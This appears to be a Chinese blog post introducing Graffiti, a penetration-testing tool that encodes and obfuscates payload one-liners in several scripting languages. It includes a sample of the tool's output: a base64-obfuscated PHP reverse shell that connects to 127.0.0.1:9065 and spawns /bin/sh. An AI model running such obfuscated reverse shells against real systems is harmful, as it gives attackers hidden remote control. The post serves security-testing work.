Graffit 一款生成混淆的oneliners以帮助渗透测试的工具

Graffiti是一种生成混淆的oneliners以帮助渗透测试的工具。Graffiti目前支持编码的编程语言代码种类如下：
Python
Perl
Batch
Powershell
PHP
Bash
Graffiti还将接受当前不在列表中的语言，并将oneliner存储到数据库中。

特征
Graffiti配有一个数据库，可以将每个编码的有效负载插入其中，以便最终用户可以查看已创建的有效负载以供将来使用。可以使用以下技术对有效载荷进行编码：
-异或计算
-Base64编码
-十六进制编码
-ROT13
-元数据编码
除此之外，Graffiti还提供了下列功能
1、 终端窗口拖拽访问，支持运行外部命令；
2、 可支持创建自己的Payload JSON文件；
3、 支持查看数据库缓存中的Payload信息；
4、 可在内存中运行数据库以实现快速检测；
5、 终端历史记录存储及查看；
6、 终端Tab命令自动补全；
7、 数据库文件及历史记录文件安全存储/传输；
8、 可实现多种编码技术。

工具使用
Graffiti本身内置终端工具，可直接通过拖拽源文件实现编码，无需手动传递参数。工具支持查看历史记录，并能够运行外部命令，以及其本身自带的内部命令。输入“help”或“？”即可查看工具的帮助信息：

当您需要快速编码的有效负载时，Graffiti还附带命令行参数：

Payload编码样例
root@graffiti:~/graffiti#python graffiti.py -c base64 -p /linux/php/socket_reverse.json -lH 127.0.0.1-lP 9065

Encoded Payload:
--------------------------------------------------

php-r'exec(base64_decode("JHNvY2s9ZnNvY2tvcGVuKCIxMjcuMC4wLjEiLDkwNjUpO2V4ZWMoIi9iaW4vc2ggLWkgPCYzID4mMyAyPiYzIik7"));'

--------------------------------------------------

Graffiti工具演示
演示视频：https://vimeo.com/303548362

工具安装
在任何版本的Linux、macOS以及Windows平台上，Graffiti都可以在无需任何外部组件的情况下正常运行。如果你想要将Graffiti以可执行程序的形式安装在你的系统中，你只需要运行下列命令即可：
./install.sh
这条命令将会帮助你将Graffiti安装到你的系统中，并能够从任意位置运行。

文章来源及下载：

https://github.com/Ekultek/Graffiti

你可能喜欢

对某钓鱼网站的一次渗透测试

One-Lin3r：懒人的福音，渗透测试单行化工具

Pythem – Python网络/渗透测试工具